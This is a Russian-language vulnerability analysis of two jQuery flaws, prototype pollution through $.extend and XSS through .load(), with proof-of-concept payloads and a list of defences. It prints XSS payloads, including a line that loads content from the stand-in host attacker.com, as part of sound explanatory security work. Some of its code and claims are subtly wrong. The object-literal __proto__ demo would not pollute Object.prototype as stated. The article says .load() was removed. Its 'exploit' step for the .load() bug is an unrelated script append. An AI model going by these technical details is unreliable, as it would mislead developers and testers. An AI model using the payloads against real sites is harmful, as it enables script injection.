
Уязвимости BDU:2019-04254 и BDU:2023-07536 в jQuery
Уязвимость BDU:2019-04254 (CVE-2019-11358) prototype pollution в jQuery версий до 3.4.0. Функция jQuery.extend(true, {}, ...) некорректно обрабатывает объекты, содержащие свойство __proto__, что позволяет злоумышленнику изменить прототип объекта Object. Если несанкционированный исходный объект содержит перечисляемое свойство __proto__, он может расширить собственный Object.prototype.
Воздействие: Атакующий может внедрить вредоносные свойства в прототип Object, что может привести к XSS-атакам или другим нежелательным последствиям в приложениях, использующих jQuery.
Затронутые версии: jQuery до версии 3.4.0, а также продукты, использующие уязвимые версии jQuery, такие как Drupal и Backdrop CMS.
Уязвимость BDU:2023-07536 (CVE-2020-7656) Cross-site Scripting (XSS) в jQuery версий до 1.9.0. Метод load не распознает и не удаляет HTML-теги <script>, содержащие пробельный символ, например: </script >, что приводит к выполнению заключенной в них логики скрипта.
Воздействие: Атакующий может внедрить вредоносный JavaScript-код на веб-страницу, что может привести к краже учетных данных, перенаправлению на вредоносные сайты или другим нежелательным последствиям.
Затронутые продукты: jQuery до версии 1.9.0.
Технический анализ уязвимостей
1. BDU:2019-04254: Prototype Pollution через $.extend
Механизм:
Функция $.extend(true, target, src)
рекурсивно копирует свойства из src
в target
. Если src
содержит свойство __proto__
, оно модифицирует прототип базового объекта JavaScript, что позволяет:
-
Добавлять/перезаписывать свойства всех объектов приложения.
-
Внедрять XSS через изменение DOM-элементов (например,
innerHTML
).
Пример эксплойта:
const maliciousParams = {
__proto__: {
backLink: "<svg onload=alert('XSS via Prototype Pollution')>"
}
};
$.extend(true, {}, maliciousParams); // Загрязнение прототипа Object.prototype
После этого все новые объекты получат свойство backLink
с вредоносным SVG.
2. BDU:2023-07536: XSS через метод .load()
Механизм:
Метод .load(url)
динамически загружает HTML-контент и вставляет его в DOM. Если ответ содержит теги <script>
, jQuery выполняет их содержимое, что позволяет внедрить произвольный JavaScript.
Пример эксплойта:
$('body').load('https://attacker.com/malicious.html');
// malicious.html: <script>alert('XSS via .load()')</script>
Разбор эксплойта из общего доступа
Эксплойт объединяет обе уязвимости для двойной X-атаки:
-
Подключение уязвимой версии jQuery:
const script = document.createElement('script'); script.src = "https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js";
-
Эксплуатация BDU:2023-07536:
$('body').append("<script>alert('XSS via .load()')</script>");
jQuery выполняет скрипт сразу после вставки в DOM.
-
Эксплуатация BDU:2019-04254:
$.extend(true, config, { __proto__: { backLink: "<svg onload=alert('XSS')>" } });
Загрязнение прототипа приводит к XSS при рендеринге
config.backLink
.
Способы защиты
1. Обновите jQuery
-
Для BDU:2019-04254: версии ≥3.4.0 (фикс: проверка
__proto__
). -
Для BDU:2023-07536: версии ≥1.9.0 (метод
.load()
удалён, используйте.ajax()
).
2. Санитизация данных
-
Используйте
DOMPurify
для очистки HTML перед вставкой в DOM:import DOMPurify from 'dompurify'; $('#element').html(DOMPurify.sanitize(untrustedHTML));
3. Content Security Policy (CSP)
Настройте заголовок CSP для блокировки inline-скриптов:
Content-Security-Policy: script-src 'self' https://trusted-cdn.com;
4. Замена опасных методов
-
Вместо
.load()
используйте.ajax()
с явным указанием типа данных:$.ajax({ url: 'data.html', dataType: 'html', success: (data) => $('#element').text(data) // Без выполнения скриптов });
5. Заморозка прототипа
Заблокируйте модификацию Object.prototype
в критических приложениях:
Object.freeze(Object.prototype);
Рекомендации для разработчиков
-
Регулярно обновляйте зависимости: Используйте
npm audit
илиSnyk
для мониторинга уязвимостей. -
Минимизируйте использование jQuery: Переходите на современные фреймворки (React, Vue), где XSS-риски ниже.
